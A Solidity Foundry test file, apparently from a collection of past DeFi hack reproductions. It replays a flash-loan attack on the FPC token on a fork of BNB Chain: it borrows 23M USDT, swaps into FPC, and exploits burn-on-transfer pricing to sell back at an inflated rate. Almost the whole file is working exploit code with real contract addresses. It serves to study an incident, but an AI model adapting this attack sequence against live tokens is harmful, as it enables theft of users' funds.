src/test/2025-07/FPC_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 4.7M USDT
8// Attacker : https://bscscan.com/address/0x18dd258631b23777c101440380bf053c79db3d9d
9// Attack Contract : https://bscscan.com/address/0xbf6e706d505e81ad1f73bbc0babfe2b414ba3eb3
10// Vulnerable Contract : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f
11// Attack Tx : https://bscscan.com/tx/0x3a9dd216fb6314c013fa8c4f85bfbbe0ed0a73209f54c57c1aab02ba989f5937
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xb192d4a737430aa61cea4ce9bfb6432f7d42592f#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1940423393880244327
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant USDT_ADDR = 0x55d398326f99059fF775485246999027B3197955;
23address constant PANCAKE_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;
24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25address constant PANCAKE_PAIR = 0xa1e08E10Eb09857A8C6F2Ef6CCA297c1a081eD6B;
26address constant FPC_ADDR = 0xB192D4A737430AA61CEA4Ce9bFb6432f7D42592F;
27 
28contract FPC is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 52624701 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = USDT_ADDR;
35    }
36 
37    function testExploit() public balanceLog {
38        // Step 1: borrow 23,020,000 USDT from Pancake Pool
39        IPancakeV3Pool(PANCAKE_POOL).flash(address(this), 23_020_000 ether, 0, "");
40    }
41 
42    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
43        uint256 amountIn = 23_019_990 ether;
44        address[] memory path = new address[](2);
45        path[0] = USDT_ADDR;
46        path[1] = FPC_ADDR;
47        IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));
48        uint256[] memory amounts = router.getAmountsOut(amountIn, path);
49        // Step 2: USDT -> FPC
50        IPancakePair(PANCAKE_PAIR).swap(1 ether, amounts[1], address(this), hex"00");
51 
52        IERC20 fpc = IERC20(FPC_ADDR);
53        // Step 4: create a helper contract to convert 247,441 FPC to USDT
54        Helper helper = new Helper();
55        fpc.transfer(address(helper), 247_441_170_766_403_071_054_109);
56        helper.swap(PANCAKE_ROUTER, FPC_ADDR);
57 
58        // Step 6: pay back the loan
59        IERC20(USDT_ADDR).transfer(PANCAKE_POOL, 23_020_000 ether + fee0);
60    }
61 
62    // Step 3: transfer USDT to CAKE LP
63    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) public {
64        IERC20 usdt = IERC20(USDT_ADDR);
65        usdt.transfer(PANCAKE_PAIR, usdt.balanceOf(address(this)));
66    }
67}
68 
69contract Helper {
70    function swap(address routerAddr, address fpcAddr) public {
71        IERC20 fpc = IERC20(fpcAddr);
72        fpc.approve(routerAddr, type(uint256).max);
73 
74        uint256 balance = fpc.balanceOf(address(this));
75        address[] memory path = new address[](2);
76        path[0] = FPC_ADDR;
77        path[1] = USDT_ADDR;
78        // Root cause: FPC burns tokens on transfers to the pool.
79        // Impact: attacker can sell FPC at an inflated price.
80        // Step 5: FPC -> USDT
81        IPancakeRouter(payable(routerAddr)).swapExactTokensForTokensSupportingFeeOnTransferTokens(balance, 0, path, msg.sender, block.timestamp);
82    }
83}